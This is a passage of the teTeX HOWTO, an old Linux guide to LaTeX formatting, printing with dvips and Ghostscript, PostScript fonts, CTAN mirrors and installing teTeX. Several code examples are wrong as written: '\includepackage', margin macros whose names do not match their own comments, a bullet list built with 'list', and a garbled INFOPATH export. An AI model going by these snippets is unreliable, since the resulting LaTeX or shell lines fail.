4.3 Margins and line spacing.

Changing margins in a TeX or LaTeX document is not a straightforward task. A lot depends on the relative indent of the text you're trying to adjust the margin for. The placement of the margin-changing command is also significant.

For document-wide changes to LaTeX documents, the \evensidemargin and \oddsidemargin commands are available. They affect the left-hand margins of the even-numbered and odd-numbered pages, respectively. For example,

\evensidemargin=1in
\oddsidemargin=1in
adds on inch to the left-hand margin of the even and odd pages in addition to the standard one-inch, left-hand margin. These commands affect the entire document and will shift the entire body of the text right and left across a page, regardless of any local indent, so they're safe to use with LaTeX environments like verse and list.

Below is a set of margin-changing macros which I wrote. They have a different effect than the commands mentioned above. Because they use plain TeX commands, they're not guaranteed to honor the margins of any LaTeX environments which may be in effect, but you can place them anywhere in a document and change the margins from that point on.

%%  margins.sty -- v. 0.1   by Robert Kiesling
%%  Copies of this code may be freely distributed in verbatim form.
%%
%%  Some elementary plain TeX margin-changing commands. Lengths are
%%  in inches:
%%  \leftmargin{1}   %% sets the document's left margin in 1 inch.
%%  \leftindent{1}   %% sets the following paragraphs' indent in
%%                     1 inch.
%%  \rightindent{1}  %% sets the following paragraphs' right margins
%%                   %% in 1 inch.
%%  \llength{3}      %% sets the following lines' lengths to 3 inches.
%%
\message{Margins macros...}
\def\lmargin#1{\hoffset = #1 in}
\def\lindent#1{\leftskip = #1 in}
\def\rindent#1{\rightskip = #1 in}
\def\llength#1{\hsize = #1 in}
%%
%% (End of margins macros.}
Place this code in a file called margins.sty in your local $TEXINPUTS directory. The commands are explained in the commented section of the file. To include them in a document, use the command
\usepackage{margins}
in the document preamble.

While we're on the subject, if you don't want the right margin to be justified, which is the default, you can tell LaTeX to use ragged right margins by giving the command:

\raggedright

Setting line spacing also has its complexities.

The baselineskip measurement is the distance between lines of text. It is given as an absolute measurement. For example,

\baselineskip=24pt
or even better:
\setlength{\baselineskip}{24pt}
The difference between the two forms is that setlength will respect any scoping rules that may be in effect when you use the command.

The problem with using baselineskip is that it also affects the distance between section headings, footnotes, and the like. You need to take care that baselineskip is correct for whatever text elements you're formatting. There are, however, LaTeX macro packages, like setspace.sty, which will help you in these circumstances. See section LaTeX extension packages and other resources.

4.4 Document classes.

LaTeX provides document classes which provide standardized formats for documents. They provide environments to format lists, quotations, footnotes, and other text elements. Commonly used document classes are covered in the following sections.

Articles and reports.

As mentioned above, the article class and the report class are similar. The main differences are that the report class creates a title page by default and begins each section on a new page. Mostly, though, the two document classes are similar.

To create titles, abstracts, and bylines in these document classes, you can type, for example,

\title{The Breeding Habits of Cacti}
\author{John Q. Public}
\abstract{Description of how common desert cacti search
for appropriate watering holes to perform their breeding
rituals.}
in the document preamble. Then, the command
\maketitle
given at the start of the text, will generate either a title page in the report class, or the title and abstract at the top of the first page, in the article class.

Sections can be defined with commands that include the following:

\section
\subsection
\subsubsection
These commands will produce the standard, numbered sections used in technical documents. For unnumbered sections, use
\section*
\subsection*
\subsubsection*
and so on.

LaTeX provides many environments for formatting displayed material. You can include quoted text with the quotation environment.

\begin{quotation}
Start of paragraph to be quoted...

... end of paragraph.
\end{quotation}
For shorter quotes, you can use the quote environment.

To format verse, use the verse environment.

\begin{verse}
Because I could not stop for death\\
He kindly stopped for me
\end{verse}
Notice that you must use the double backslashes to break lines in the correct places. Otherwise, LaTeX fills the lines in a verse environment, just like any other environment.

Lists come in several flavors. To format a bulleted list, the list environment is used:

\begin{list}
\item
This is the first item of the list.
\item
This is the second item of the list...
\item
... and so on.
\end{list}

A numbered list uses the enumerate environment:

\begin{enumerate}
\item
Item No. 1.
\item
Item No. 2.
\item
\dots
\end{enumerate}

A descriptive list uses the description environment.

\begin{description}
\item{Oven} Dirty, needs new burner.
\item{Refrigerator}  Dirty.  Sorry.
\item{Sink and drainboard}  Stained, drippy, cold water faucet.
\end{description}

Letters.

The letter class uses special definitions to format business letters.

The letter environment takes one argument, the address of the letter's addressee. The address command, which must appear in the document preamble, defines the return address. The signature command defines the sender's name as it appears after the closing.

The LaTeX source of a simple business letter might look like this.

\documentclass[12pt]{letter}
\signature{John Q. Public}
\address{123 Main St.\\Los Angeles, CA.  96005\\Tel: 123/456-7890}
\begin{document}
\begin{letter}{ACME Brick Co.\\100 Ash St.\\San Diego, CA 96403}
\opening{Dear Sir/Madam:}

With regard to one of your bricks that I found on my living room
carpet surrounded by shards of my broken front window...

(Remainder of the body of the letter.)

\closing{Sincerely,}

\end{letter}
\end{document}
Note that the addresses include double backslashes, which specify where the line breaks should occur.


The teTeX HOWTO: The Linux-teTeX Local Guide: LaTeX extension packages and other resources.

 Next Previous Contents

5. LaTeX extension packages and other resources.

We mentioned above that using underlining as a form of text emphasis presents special problems. Actually, TeX has no problem underlining text, because it is a convention of mathematical typesetting. In LaTeX, you can underline words with the command:

\underline{text to be underlined}
The problem is that underlining will not break across lines, and, in some circumstances, underlining can be uneven. However, there is a LaTeX macro package, ready-made, that makes underlining the default mode of text emphasis. It's called ulem.sty, and is one of the many contributed LaTeX packages that are freely available via the Internet.

To use ulem.sty, include the command:

\usepackage{ulem}
in the document preamble.

The packages which are available for LaTeX include:

ifthen

Include conditional statements in your documents.

initials

Defines a font for initial dropped capitals.

sanskrit

Font and preprocessor for producing documents in Sanskrit.

recipe

A LaTeX2e class to typeset recipes.

refman

Variant report and article styles.

To make the path given in the Catalogue into a fully-qualified URL, concatenate the path to the host name URL and top-level path of the CTAN archive you wish to contact. For example, the top-level CTAN directory of the site ftp.tex.ac.uk is ctan/tex-archive. The complete URL of the directory of the refman package would be:

ftp://ftp.tex.ac.uk/ctan/tex-archive/   +
macros/latex/contrib/supported/refman   =

ftp://ftp.tex.ac.uk/ctan/tex-archive/macros/latex/contrib/supported/refman/
Some packages have more than one file, so only the path to the package's directory is given.

When you have the URL in hand, you can retrieve the package from one of the CTAN archive sites listed in section Appendix A. You can download a complete list of the archive's contents as the file FILES.byname, in the archive's top-level directory. You can also search the archive on line for a keyword with the ftp command

quote site index <keyword>


The teTeX HOWTO: The Linux-teTeX Local Guide: Mixing text and graphics with dvips.

 Next Previous Contents

6. Mixing text and graphics with dvips.

In general, this section applies to any TeX or LaTeX document which mixes text and graphics. teTeX, like most other TeX distributions, is configured to request Computer Modern fonts by default. When printing documents with Type 1 scalable fonts or graphics, font and graphics imaging is the job of dvips. dvips can use either Computer Modern bit mapped fonts or Type 1 scalable fonts, or any combination of the two. First, let's concentrate on printing and previewing some graphics.

You will probably want to follow this procedure any time a LaTeX source document has the statement

\includepackage{graphics}
in the document preamble. This statement tells LaTeX to include the text of the graphics.sty package in the source document. There are other commands to perform graphics operations, and the statements in plain-TeX documents may not clue you in whether you need to use dvips. The difference will be apparent in the output, though, when the document is printed with missing figures and other graphics.

So, for now, we'll concentrate on printing documents which use the LaTeX graphics.sty package. You might want to take a look at the original TeX input. It isn't included in the teTeX distribution, but it is available at

~CTAN/macros/latex/packages/graphics/grfguide.tex.
What the teTeX distribution does include is the .dvi output file, and it is already TeXed for you. There is a reason for this, and it has to do with the necessity of including Type 1 fonts in the output in order for the document to print properly. If you want to LaTeX grfguide.tex, see the next section. For now, however, we'll work on getting usable output using dvips.

The file grfguide.dvi is located in the directory

texmf/doc/latex/graphics
The first step in outputting grfguide.dvi is to translate it to Postscript. The program dvips is used for this. It does just exactly what its name implies. There are many options available for invoking dvips, but the simplest (nearly) form is
dvips -f -r <grfguide.dvi >grfguide.ps
The -f command switch tells dvips to operate as a filter, reading from standard input and writing to standard output. dvips output can be configured so its output defaults to lpr.

If you can print Postscript directly to your printer via lpr, you can simply type

dvips -r grfguide.dvi
The -r option tells dvips to output the pages in reverse order so they stack correctly when they exit a printer. Use it or not, as appropriate for your output device.

Depending on whether you still have the fonts that dvilj2 generated from the last document, dvips and metafont may or may not need to create new fonts needed by grfguide.dvi. Eventually, though, dvips will output a list of the pages translated to Postscript, and you will have your Postscript output ready to be rendered on whatever output device you have available.

If you're lucky (and rich), then you have a Postscript-capable printer already and will be able to print grfguide.ps directly. You can either spool the output to the printer using lpr. If for some reason your printer software doesn't work right with Postscript files, you can, in a pinch, simply dump the file to printer, with

cat grfguide.ps >/dev/lp0
or whichever port your printer is attached to, though this is not recommended for everyday use.

If you want or need to invoke Ghostscript manually, this is the standard procedure for its operation. The first thing you want to do is invoke Ghostscript to view its command line arguments, like this:

gs -help | less
You'll see a list of supported output devices and sundry other commands. Pick the output device which most nearly matches your printer. I generally produce black-and-white text and use the cdjmono driver, which drives a color Deskjet in monochrome (black and white) mode.

The command line I would use is:

gs -dNOPAUSE -sDEVICE=cdjmono -sOutputFile=/tmp/gs.out grfguide.ps -c quit
This will produce my HP-compatible output in the /tmp directory. It's a good idea to use a directory like /tmp, because gs can be particular about access permissions, and you can't (and shouldn't) always count on being logged in as root to perform these steps. Now you can print the file:
lpr /tmp/gs.out
Obviously, this can all go into a shell script. On my system, I have two simple scripts written, pv and pr, which simply outputs the Postscript file either to the display or the printer. Screen previewing is possible without X, but it's far from ideal. So, it's definitely worth the effort to install XFree86 to view the output on the screen..

The order of commands in a gs command line is significant, because some of the options tell Ghostscript to look for pieces of Postscript code from its library.

The important thing to remember is that grfguide.dvi makes requests for both Computer Modern bit mapped and Type 1 scaled fonts. If you can mix scalable and bit mapped fonts in a document, you're well on the way to becoming a TeXpert.

6.1 What if my printer isn't supported?

The teTeX distribution comes with only a limited selection of DVI output drivers: dvips, drivers for Hewlett Packard LaserJets, and nothing else. You have two options if you have a printer which isn't LaserJet-compatible: You can use dvips and Ghostscript, which I would recommend anyway, for reasons already mentioned, or you can investigate other dviware sources.

A limited number of DVI drivers have been ported to Linux and are available as pre-built binaries. They are located in the Linux archives at ftp://sunsite.unc.edu/pub/Linux/apps/tex/dvi/.

The master dviware libraries are maintained at the University of Utah archives. If you can't find a DVI driver there that supports your printer, chances are that it doesn't exist. You can also write your own DVI driver using the templates available there. The library's URL is ftp://ftp.math.utah.edu/pub/tex/dvi/.


The teTeX HOWTO: The Linux-teTeX Local Guide: Using Postscript fonts.

 Next Previous Contents

7. Using Postscript fonts.

It used to be that public domain, Type 1 fonts were much poorer quality than Computer Modern bit mapped fonts. This situation has improved in the last several years, though, but matching the fonts is up to you. Having several different font systems on one machine can seem redundant and an unnecessary waste of disk space. And the Computer Modern fonts can seem, well, a little too formal to be suitable for everyday use. It reminds me sometimes of bringing out the good China to feed the dog. At least you don't need to spend a bundle on professional quality fonts any longer.

One of the major improvements of LaTeX2e over its predecessor was the inclusion of the New Font Selection Scheme. (It's now called PSNFSS.) Formerly, TeX authors would specify fonts with commands like

\font=bodyroman = cmr10 scaled \magstep 1

which provides precision but requires the skills of a type designer and mathematician to make good use of. Also, it's not very portable. If another system didn't have the font cmr10 (this is TeX nomenclature for Computer Modern Roman, 10 point, with the default medium stroke weight), somebody would have to re-code the fonts specifications for the entire document. PSNFSS, however, allows you specify fonts by family (Computer Modern, URW Nimbus, Helvetica, Utopia, and so forth), weight (light, medium, bold), orientation (upright or oblique), face (Roman, Italic), and base point size. (See the section Characters and type styles for a description of the commands to specify typefaces.) Many fonts are packaged as families. For example, a Roman-type font may come packaged with a sans serif font, like Helvetica, and a monospaced font, like Courier. You, as the author of a LaTeX document, can specify an entire font family with one command.

There are, as I said, several high-quality font sets available in the public domain. One of them is Adobe Utopia. Another is Bitstream Charter. Both are commercial quality fonts which have been donated to the public domain.

These happen to be two of my favorites. If you look around one of the CTAN sites, you will find these and other fonts archived there. There are enough fonts around that you'll be able to design documents the way you want them to look, and not just English text, either. TeX was originally designed for mathematical typesetting, so there is a full range of mathematical fonts available, as well as Cyrillic, Greek, Kana, and other alphabets too numerous to mention.

The important thing to look for is files which have either the .pfa or .pfb extension. They indicate that these are the scalable fonts themselves, not simply the metrics files. Type 1 fonts use .pfm metric files, as opposed to the .tfm metric files which bit mapped fonts use. The two font sets I mentioned above are included in teTeX distributions, as well as separately.

What I said above, concerning the ease of font selection under PSNFSS, is true in this instance. If we want to use the Charter fonts in our document instead of Computer Modern bit mapped, all that is necessary is include the LaTeX statement

\renewcommand{\familydefault}{bch}
in the document preamble, where ``bch'' is the common designation for Bitstream Charter. The Charter fonts reside in the directory
/usr/lib/teTeX/texmf/fonts/type1/bitstrea/charter

There you'll see the .pfb files of the Charter fonts: bchb8a.pfb for Charter Bold, bchr8a.pfb for Charter Roman, bchbi8a.pfb for Charter Bold Italic. The ``8a'' in the font names indicates the character encoding. At this point you shouldn't need to worry much about them, because the encodings mostly differ for 8-bit characters, which have numeric values above 128 decimal. They mostly define accents and non-English characters. The Type 1 font encodings generally work well for Western alphabets because they conform to the ISO 8859 standards for international character sets, so this is an added benefit of using them.

To typeset a document which has Charter fonts selected, you would give the command

pslatex document.tex
pslatex is a variant of teTeX's standard latex command which defines the directories where the Type 1 fonts are, as well as some additional LaTeX code to load. You'll see the notice screen for pslatex followed by the status output of the TeX job itself. In a moment, you'll have a .dvi file which includes the Charter font requests. You can then print the file with dvips, and gs if necessary.

Installing a Type 1 font set is not difficult, as long as you follow a few basic steps. You should unpack the fonts in a subdirectory of the /usr/lib/teTeX/texmf/fonts/type1 directory, where your other Type 1 fonts are located, and then run texhash to let the directory search routines know that the fonts have been added. Then you need to add the font descriptions to the file psfonts.map so dvips knows they're on the system. The format of the psfonts.map file is covered in a couple different places in the references mentioned above. Again, remember to run the texhash program to update the teTeX directory database.

It is definitely an advantage to use the X Windows System with teTeX--- XFree86 under Linux---because it allows for superior document previewing. It's not required, but in general, anything that allows for easier screen previewing is going to benefit your work, in terms of the quality of the output. However, there is a tradeoff with speed of editing, which is much quicker on character-mode displays.


The teTeX HOWTO: The Linux-teTeX Local Guide: Appendix A: CTAN site list.

 Next Previous Contents

8. Appendix A: CTAN site list.

This is the text of the file CTAN.sites, which is available in the top-level directory of each CTAN archive or mirror site.

In order to reduce network load, it is recommended that you use the
Comprehensive TeX Archive Network (CTAN) host which is located in the
closest network proximity to your site.  Alternatively, you may wish to
obtain a copy of the CTAN via CD-ROM (see help/CTAN.cdrom for details).

Known mirrors of the CTAN reside on (alphabetically):
  cis.utovrm.it (Italia)                /TeX
  ctan.unsw.edu.au (NSW, Australia)     /tex-archive
  dongpo.math.ncu.edu.tw (Taiwan)       /tex-archive
  ftp.belnet.be (Belgium)               /packages/TeX
  ftp.ccu.edu.tw (Taiwan)               /pub/tex
  ftp.cdrom.com (West coast, USA)       /pub/tex/ctan
  ftp.comp.hkbu.edu.hk (Hong Kong)      /pub/TeX/CTAN
  ftp.cs.rmit.edu.au  (Australia)       /tex-archive
  ftp.cs.ruu.nl (The Netherlands)       /pub/tex-archive
  ftp.cstug.cz (The Czech Republic)     /pub/tex/CTAN
  ftp.duke.edu (North Carolina, USA)    /tex-archive
  ftp.funet.fi (Finland)                /pub/TeX/CTAN
  ftp.gwdg.de (Deutschland)             /pub/dante
  ftp.jussieu.fr (France)               /pub4/TeX/CTAN
  ftp.kreonet.re.kr (Korea)             /pub/CTAN
  ftp.loria.fr (France)                 /pub/unix/tex/ctan
  ftp.mpi-sb.mpg.de (Deutschland)       /pub/tex/mirror/ftp.dante.de
  ftp.nada.kth.se (Sweden)              /pub/tex/ctan-mirror
  ftp.oleane.net (France)               /pub/mirrors/CTAN/
  ftp.rediris.es (Espa\~na)             /mirror/tex-archive
  ftp.rge.com (New York, USA)           /pub/tex
  ftp.riken.go.jp (Japan)               /pub/tex-archive
  ftp.tu-chemnitz.de (Deutschland)      /pub/tex
  ftp.u-aizu.ac.jp (Japan)              /pub/tex/CTAN
  ftp.uni-augsburg.de (Deutschland)     /tex-archive
  ftp.uni-bielefeld.de (Deutschland)    /pub/tex
  ftp.unina.it (Italia)                 /pub/TeX
  ftp.uni-stuttgart.de (Deutschland)    /tex-archive (/pub/tex)
  ftp.univie.ac.at (\"Osterreich)       /packages/tex
  ftp.ut.ee (Estonia)                   /tex-archive
  ftpserver.nus.sg (Singapore)          /pub/zi/TeX
  src.doc.ic.ac.uk (England)            /packages/tex/uk-tex
  sunsite.auc.dk (Denmark)              /pub/tex/ctan
  sunsite.cnlab-switch.ch (Switzerland) /mirror/tex
  sunsite.icm.edu.pl (Poland)           /pub/CTAN
  sunsite.unc.edu (North Carolina, USA) /pub/packages/TeX
  wuarchive.wustl.edu (Missouri, USA)   /packages/TeX

Known partial mirrors of the CTAN reside on (alphabetically):
  ftp.adfa.oz.au (Australia)            /pub/tex/ctan
  ftp.fcu.edu.tw (Taiwan)               /pub2/tex
  ftp.germany.eu.net (Deutschland)      /pub/packages/TeX
  ftp.gust.org.pl (Poland)              /pub/TeX
  ftp.jaist.ac.jp (Japan)               /pub/TeX/tex-archive
  ftp.uu.net (Virginia, USA)            /pub/text-processing/TeX
  nic.switch.ch (Switzerland)           /mirror/tex
  sunsite.dsi.unimi.it (Italia)         /pub/TeX
  sunsite.snu.ac.kr (Korea)             /shortcut/CTAN

Please send updates to this list to <ctan@urz.uni-heidelberg.de>.

The participating hosts in the Comprehensive TeX Archive Network are:
  ftp.dante.de  (Deutschland)
       -- anonymous ftp                 /tex-archive (/pub/tex /pub/archive)
       -- gopher on node gopher.dante.de
       -- e-mail via ftpmail@dante.de
       -- World Wide Web access on www.dante.de
       -- Administrator: <ftpmaint@dante.de>

  ftp.tex.ac.uk (England)
       -- anonymous ftp                 /tex-archive (/pub/tex /pub/archive)
       -- gopher on node gopher.tex.ac.uk
       -- NFS mountable from nfs.tex.ac.uk:/public/ctan/tex-archive
       -- World Wide Web access on www.tex.ac.uk
       -- Administrator: <ctan-uk@tex.ac.uk>


The teTeX HOWTO: The Linux-teTeX Local Guide: Appendix B: Installing the CTAN teTeX distribution.

 Next Previous Contents

9. Appendix B: Installing the CTAN teTeX distribution.

The generic, teTeX distribution isn't any harder to install than the Linux packages. See section Generic CTAN distribution, below.

You should consider installing the generic teTeX distribution from the CTAN archives if:

  • Your system isn't based on one of the standard Linux distributions.
  • You don't have root privileges on your system.
  • You want or need to have the very latest version of teTeX, or LaTeX.
  • You don't have enough disk space available for a full installation.
  • You want to install teTeX somewhere instead of the /usr file system.
  • You would like to share your teTeX installation with other UNIX variants or platforms on a network. In this case, you should strongly consider installing from the source distribution. See section Installing the source distribution, below.
  • You want the latest versions of teTeX's public domain Type 1 fonts, which are significantly better than the fonts included in earlier releases.

A complete installation of the binary distribution requires 40-50 Mb of disk space, and building the distribution from the source code takes about 75 Mb, so you should make sure that the disk space is available before you start. You don't need to have the GCC compiler or the X Windows System installed (although X certainly helps because it is much easier to preview documents on-screen). All you need is an editor that is capable of producing plain ASCII, text (see section 2). What could be simpler?

You can retrieve the files from one of the CTAN archives listed in section Appendix A. In the examples below, the files were retrieved from the CTAN archive at ftp.tex.ac.uk.

9.1 Installing the binary distribution.

Minimal installation.

First, FTP to ftp.tex.ac.uk and cd to the directory

ctan/tex-archive/systems/unix/teTeX/distrib/
Retrieve the files
INSTALL.bin
install.sh
and place them in the top-level directory where you want to install teTeX, for example, /var/teTeX if you plan to install teTeX in the /var file system.

Print out the INSTALL.bin file. Keep this file handy, because it describes how to install a minimal teTeX installation. The minimal installation requires only 10-15 MB of disk space, but it is recommended that you install the complete teTeX package if at all possible. For a minimum installation, you'll need the files

ctan/tex-archive/systems/unix/teTeX/distrib/base/latex-base.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/base/tetex-base.tar.gz
You'll also need one of two archives which contain the executable teTeX programs. Retrieve the archive file
ctan/tex-archive/systems/unix/teTeX/distrib/binaries/i386-linux.tar.gz
if your system uses the Linux ELF shared libraries, ld.so of at least version 1.73, and clibs of at least version 5.09. If it doesn't, retrieve the archive
ctan/tex-archive/systems/unix/teTeX/distrib/binaries/i386-linuxaout.tar.gz
which is compiled for systems that use the older, a.out-format static libraries.

Then, following the instructions in the file INSTALL.bin, execute the command

sh ./install.sh
while in the top-level teTeX installation directory. (Make sure that the teTeX archives are located there, too.) After a few moments, the installation program will warn you that you are missing some of the teTeX packages. However, if you're planning only a minimal teTeX installation, you should ignore the warnings and proceed. To configure the basic teTeX system, see section Base system configuration, below.

To install the remaining packages, see the next section.

Complete installation.

To perform a complete teTeX installation, retrieve the archive files listed in the previous section, as well as the following files:

ctan/tex-archive/systems/unix/teTeX/distrib/doc/ams-doc.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/doc/bibtex-doc.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/doc/eplain-doc.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/doc/fonts-doc.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/doc/general-doc.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/doc/generic-doc.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/doc/latex-doc.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/doc/makeindex-doc.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/doc/metapost-doc.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/doc/programs-doc.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/fonts/ams-fonts.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/fonts/dc-fonts.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/fonts/ec-fonts.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/fonts/misc-fonts.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/fonts/postscript-fonts.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/fonts/sauter-fonts.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/goodies/amstex.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/goodies/bibtex.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/goodies/eplain.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/goodies/latex-extra.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/goodies/metapost.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/goodies/pictex.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/goodies/pstricks.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/goodies/texdraw.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/goodies/xypic.tar.gz
All of these files should be placed in the top-level directory where you want teTeX to reside. As with the minimal installation, execute the command
sh ./install.sh

9.2 Base system configuration.

The install.sh script, after determining which teTeX archive series are present, will present you with a menu of options. The only setting you need to make at this point is to set the top-level directory where you want teTeX installed, by selecting the ``D'' option. You must, of course, choose a directory in whose parent directory you have write permissions. For example, if you are installing teTeX in your home directory, you would specify the teTeX installation directory as

/home/john.q.public/teTeX
and, after returning to the main menu, select ``I'' to proceed with the installation. Note that the directory must not exist already: the install.sh script must be able to create it.

An option which you should consider enabling, is setting an alternative directory for generated fonts. Even if you plan to use only Postscript-format, Type 1 scalable fonts, occasionally you'll process a file that requires the Computer Modern fonts. Enabling this option requires that you enter the directory to use. You must have write permissions for the parent directory. Following the example above, you could specify

/home/john.q.public/texfonts
or, if you want the generated fonts to be accessible by all users on the system, specify a directory like
/var/texfonts
I would recommend that you not, however, use the default /var/tmp/texfonts directory for this option, because the generated fonts could be deleted after the next reboot, and the fonts will need to be generated again the next time they're needed.

After you've selected the option ``I'', and install.sh has installed the archives, set various permissions, and generated its links and format files, the program will exit with a message telling you to add the teTeX binary directory to your $PATH environment variable, and the directories where the man pages and info files reside to your $MANPATH and $INFOPATH environment variables. For example, add the statements

export PATH=$PATH:"/home/john.q.public/teTeX/bin"
export MANPATH=$MANPATH":/home/john.q.public/teTeX/man"
export INFOPATH$=INFOPATH":/home/john.q.public/teTeX/info"
to your ~/.bash_profile if you use bash as your shell, or to your ~/.profile if you use another shell for logins.

Log out, and then log in again, so the environment variables are registered. Then, run the command

texconfig confall
to insure that the installation is correct.

Next, you can configure teTeX for you specific hardware. See section Post-installation configuration details, below.

9.3 Installing the CTAN source distribution.

To install teTeX V. 0.4 from the source code, ftp to a CTAN site like ftp://ftp.tex.ac.uk and retrieve the files

ctan/tex-archive/systems/unix/teTeX/distrib/INSTALL.src
ctan/tex-archive/systems/unix/teTeX/distrib/sources/README.texmf-src
ctan/tex-archive/systems/unix/teTeX/distrib/sources/teTeX-lib-0.4pl8.tar.gz
ctan/tex-archive/systems/unix/teTeX/distrib/sources/teTeX-src-0.4pl7.tar.gz

Read over the instructions in INSTALL.src, then su to root and unpack the files in a directory for which you have read-write-execute permissions.

Remember to use the p argument to tar, and also remember to unset the noclobber option of bash. You can do this with the counterintuitive command

set +o noclobber
Note that the argument +o to set unsets a variable, just exactly backwards from what you might expect.

The file teTeX-lib-0.4pl8.tar.gz will create the directory ./teTeX. The file teTeX-src-0.4pl7.tar.gz will create the directory teTeX-src-0.4 Print out the file INSTALL.src and keep it nearby for the following steps. cd to the ./teTeX-src-0.4 directory, and, per the instructions in the INSTALL.src file, edit ./Makefile. You need to set the TETEXDIR variable to the absolute path of the parent teTeX directory. This will be the subdirectory teTeX of the directory where you unpacked the source and library archives. For example, if you unpacked the archives in your home directory, you would set TETEXDIR to

/home/john.q.public/teTeX
The rest of the Makefile options are pretty generic. With GCC version 2.7.2 and later, you should not need to make any further adjustments unless you have a non-standard compiler and library setup, or want the compiler to perform some further optimizations, or for some other reason. Check that the USE_DIALOG, USE_NCURSES, and HAVE_NCURSES variables are set correctly for your system, because the dialog program needs the ncurses library to be installed. A ncurses library is included in the source distribution, so the default values in the Makefile should work fine. If you can't get ncurses to compile or link, texconfig can also be run from the command line.

If you've done everything correctly up to this point, you should be able to type make world in the top-level source directory, and relax until the teTeX executables are built. This can take a few hours.

After the build has completed, set the environment variables $PATH, $MANPATH, and $INFOPATH to include the teTeX directories. The statements which would be added to the file ~/.bash_profile, in the example, above, would be

export PATH=$PATH":/home/john.q.public/teTeX/bin/i386-linux"
export MANPATH=$MANPATH":/home/john.q.public/teTeX/man"
export INFOPATH=$INFOPATH":/home/john.q.public/teTeX/info"
The $PATH variable is different in the source distribution than in the binary distribution. Note that here the path to the binaries is teTeX/bin/i386-linux instead of simply teTeX/bin as in the binary distribution.

At this point you can run texconfig confall to ensure that the paths have been set correctly, and then proceed to configure teTeX as in the binary distribution. See the section Post-installation configuration details, below.

9.4 Post-installation configuration details.

The first thing you want to do is look at Thomas Esser's README file. It contains a lot of hints on how to configure teTeX for your output device (i.e., printer). The README file is located in the directory

/usr/lib/teTeX/texmf/doc/tetex
Read the file over with the command (the path in the following examples is that of the Slackware distribution):
less /usr/lib/teTeX/texmf/doc/tetex/README
or, print it out with the command
cat /usr/lib/teTeX/texmf/doc/tetex/README >/dev/lp0
assuming that your printer is connected to /dev/lp0. Substitute the device driver file that your printer is connected to, as appropriate.

Or, better still, print it using the lpr command:

lpr /usr/lib/teTeX/texmf/doc/tetex/README
You should have installed the printer daemon that is included with your distribution of Linux. If not, do that now, per the instructions that come with the package.

Print out the teTeX-FAQ. Keep the FAQ handy because it contains useful hints for configuring teTeX's output drivers for your printer. We'll get to that in a moment. In more recent releases of teTeX, the teTeX-FAQ is viewable via the texconfig utility.

Next, you want to define a directory to store your own TeX format files. teTeX searches the directories listed by the $TEXINPUTS environment variable for local TeX input files:

export TEXINPUTS=".:~/texinputs:"
to the system-wide /etc/profile file. Individual users can set their own local $TEXINPUTS directory, by adding the line in their ~/.profile or ~/.bash_profile if bash is the default shell. The $TEXINPUTS environment variable tells teTeX to look for users' individual TeX style files in the ~/texinputs directories under each user's home directory. It is critical that a colon appear before and after this directory. teTeX is going to append its own directory searches to your own. You want to have teTeX search the local format files first, so it uses the local versions of any of the standard files you have edited.

Add the /usr/lib/teTeX/bin directory to the system-wide path if you're installing teTeX as root. Again, if you're installing a personal copy of teTeX, add the directory where the teTeX binaries are located to the front your $PATH with the following line in your ~/.profile or ~/.bash_profile:

export PATH="~/tetex/bin:"$PATH
Now, log in as root and run texconfig per the instructions in the teTeX-FAQ and choose the printer that is attached to your system. Make sure that you configure teTeX for both the correct printer and printer resolution.

Finally, run the texhash program. This ensures that teTeX's internal database is up to date. The database is actually a ls-lR file. You must run texhash every time you change the system configuration, or teTeX will not be able to locate your changes.


The teTeX HOWTO: The Linux-teTeX Local Guide: Appendix C: Distribution and Copyright.

 Next Previous Contents

10. Appendix C: Distribution and Copyright.

10.1 Distribution.

teTeX is free software; this means everyone is free to use the software and free to redistribute it on certain conditions. The package is not in the public domain. It is copyrighted and there are restrictions on its distribution, but these restrictions are designed to permit everything that a good cooperating citizen would want to do. What is not allowed is to try to prevent others from further sharing any version of free software that they might get from you. The precise conditions are found in the GNU General Public License that comes with many of the software packages and also appears following this section.

One way to get a copy of the package is from someone else who has it. You need not ask for our permission to do so, or tell any one else; just copy it. If you have access to the Internet, you can get the latest distribution versions by anonymous FTP. See the chapter ``Sources'' for more information.

You may also receive the software when you buy a computer. Computer manufacturers are free to distribute copies on the same terms that apply to everyone else. These terms require them to give you the full sources, including whatever changes they may have made, and to permit you to redistribute these packages received from them under the usual terms of the General Public License. In other words, the program must be free for you when you get it, not just free for the manufacturer.

You can also order copies of GNU software from the Free Software Foundation on CD-ROM. This is a convenient and reliable way to get a copy; it is also a good way to help fund our work. (The Foundation has always received most of its funds in this way.) An order form is included many distribution, and on our web site in http://www.gnu.ai.mit.edu/order/order.html. For further information, write to

Free Software Foundation
59 Temple Place, Suite 330
Boston, MA  02111-1307 USA
USA

The income from distribution fees goes to support the foundation's purpose: the development of new free software, and improvements to our existing programs.

If you use GNU software at your workplace, please suggest that the company make a donation. If company policy is unsympathetic to the idea of donating to charity, you might instead suggest ordering a CD-ROM from the Foundation occasionally, or subscribing to periodic updates.

10.2 GNU GENERAL PUBLIC LICENSE

Version 2, June 1991

Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

Preamble.

